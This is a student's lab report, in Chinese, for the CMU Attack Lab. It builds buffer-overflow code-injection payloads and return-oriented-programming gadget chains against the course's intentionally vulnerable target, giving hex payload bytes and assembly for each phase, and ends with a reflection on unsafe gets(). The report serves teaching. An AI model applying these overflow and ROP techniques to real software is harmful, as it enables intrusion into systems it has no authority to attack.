**Lab 4：缓冲区溢出攻击实验**

姓名：李玉轩 学号：2023212248 班级：23DX0220 指导教师：孟文龙 日期：2025.6.12

|  |  |
| --- | --- |
| **实验内容** | CMU Attack Lab系列实验：  使用 GCC、GDB、objdump 等工具，分析汇编代码，构造攻击字符串，改变目标程序的控制流，令其执行“恶意代码” |
| **getbuf**  * 分析代码得到栈帧布局   高地址  |---------------------|  | 上一栈帧的 ebp | ← 被覆盖风险  |---------------------|  | 返回地址 (retq) | ← 被覆盖风险  |---------------------|  | 40 字节缓冲区 | ← Gets 函数写入位置  | |  | |  |---------------------| ← rsp 栈顶  低地址   * **缓冲区溢出**：Gets 函数不检查输入长度，若输入超过 **40 字节**，会覆盖返回地址，导致程序跳转到攻击者指定的位置执行任意代码。 * 返回地址位于缓冲区后8 字节，因此需要构造：   + 40 字节填充数据（覆盖缓冲区）。   + 8 字节目标地址（覆盖返回地址）  touch1 00000000004017c0 <touch1>:  4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> ; 打印成功信息   * 就是只要执行这个函数即可通关，就是覆盖返回地址为touch1的地址   fig: touch2 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi ; 比较 edi 和0x202ce2(%rip)   * 计算 %rip = 0x4017fc + 6 = 0x401802 0x401802 + 0x202ce2 = 0x6044e4 * 就是要让edi和他相等  思路  * 断点打到getbuff，查rsp得到getbuf的开始位置， * 然后修改代码给rdi赋值和跳转到touch2 指令， * 覆盖返回地址是getbuf的地址让他执行我修改的代码  过程和结果 fig:  fig:  fig:  fig: touch3  * hexmatch(cookie,sval)==1后才能进入validate(3) 而hexmatch函数的作用为将cookie转成字符串并和sval比较，如果相等则返回1，说明除了需进入touch3函数外，\*sval必须等于cookie的字符串形式 * 查看汇编代码 * %rsi（函数第二个参数）为char\* sval，%edi为cookie，而877行将%rdi转入%rsi，说明初始状态下%rdi中存放着char\* sval，即%rdi需要修改 所以需要在buffer中注入代码，而为了运行注入的代码，同Phase 2 一样需要跳转回栈顶地址0x5561dc78 * 注意到hexmatch函数中将%r12，%rbp，%rbx入栈，而这样会造成栈中原来输入的内容的覆盖，将数据放在getbuf的栈空间里面，很有可能就被这两个函数cover了。所以要把数据放到一个相对安全的栈空间里，选择放在父帧即test的栈空间里。gdb看一下test栈空间地址 * fig:  构造payload fig:  根据ASCII cookie是 35 39 62 39 39 37 66 61 00   * 48 c7 c7 a8 dc 61 55 68    fa 18 40 00 c3 00 00 00    00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    78 dc 61 55 00 00 00 00    35 39 62 39 39 37 66 61    00   fig: Phase 4 在ROP攻击中设置了栈随机化，所以我们不能像前面三个一样定位到精确地址插入代码   * 将cookie放到%rdi，把touch2的地址放到栈中，以ret执行 * 猜测是需要一个mov命令来放参数，另外一个结合提示就是pop命令了，pop会把栈顶的cookie弹出到另外一个寄存器，再用mov命令写到%rdi里。 * 查询farm可知pop %rax+ret可以用两种gadget表示 * 而pop的内容（0x59b997fa）应该放在pop+retq指令之后，此时pop指令会将pop后对应位置的元素pop进对应的寄存器中 * 而touch2函数地址（0x4017ec）应该放在movq+retq指令之后，当ret指令运行完毕后之后的地址会充当返回地址进入touch2函数  构造payload fig:  屏幕截图 2025-06-24 122033 Phase 5  * 该阶段要实现的效果和Phase 3一样，所以同样需要将%rdi内容修改为cookie字符串对应地址并跳到touch3函数 * 由于每次栈都是随机开辟，存入字符串的地址并不固定，所以不能直接把地址赋值给%rdi，而需要通过读取栈顶地址%rsp加上一定的偏移量来获得字符串地址 * movl指令以寄存器作为目的时，会把该寄存器的高位4字节设置为0，即会损失高四字节的值。而栈顶地址经过gdb断点测试，都至少大于0x7ffffff00000： * 所以ROP整体思路为： 1.将偏移量pop入%rax中 2.movl指令将偏移量以该顺序：%eax->%edx->%ecx->%esi移入%rsi中 3.movq指令将栈指针以该顺序：%rsp->%rax->%rdi移入%rdi中 4.lea指令计算字符串地址 5.计算结果%rax赋值给%rdi 6.调用touch3 * 所以汇编 * pop %rax    retq    movl %eax,%edx    retq    movl %edx,%ecx    retq    movl %ecx,%esi    retq    movq %rsp,%rax    retq    movq %rax,%rdi    retq    lea (%rdi,%rsi,1),%rax    retq    movq %rax,%rdi    retq * 构造payload * 00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    cc 19 40 00 00 00 00 00    fa 97 b9 59 00 00 00 00    c5 19 40 00 00 00 00 00    ec 17 40 00 00 00 00 00   屏幕截图 2025-06-24 121647  实验总结：  **栈帧结构的理解**  通过本次实验，我对栈帧的构成有了更深入的理解。栈帧是函数调用时在栈中分配的一块内存区域，用于存储函数的局部变量、参数以及返回地址等信息。在缓冲区溢出攻击中，攻击者通过向栈中输入超出缓冲区大小的数据，覆盖栈帧中的返回地址，从而实现对程序执行流程的控制。实验中，我通过查看汇编代码和调试程序，清晰地看到了栈帧的布局以及如何通过输入数据覆盖返回地址，这加深了我对栈帧结构的理解。  **缓冲区溢出原理的掌握**  缓冲区溢出是由于程序对输入数据的长度没有进行严格的检查，导致输入数据超出缓冲区的范围，从而覆盖了相邻的内存区域。在实验中，我了解到 gets() 函数是典型的不安全函数，它不检查输入数据的长度，容易引发缓冲区溢出。通过实际构造攻击字符串并观察攻击效果，我深刻认识到缓冲区溢出漏洞的危害性，以及在程序设计中对输入数据进行严格检查和验证的重要性。  **汇编语言与机器码的转换**  在实验中，我学习了如何将汇编代码转换为机器码，并将其嵌入到攻击字符串中。通过使用 gcc 和 objdump 工具，我能够将自己编写的汇编代码编译成机器码，并将其转换为十六进制字符串形式。这一过程让我对汇编语言与机器码之间的关系有了更直观的认识，也让我了解到在低级语言层面如何实现对程序的控制和操作 | |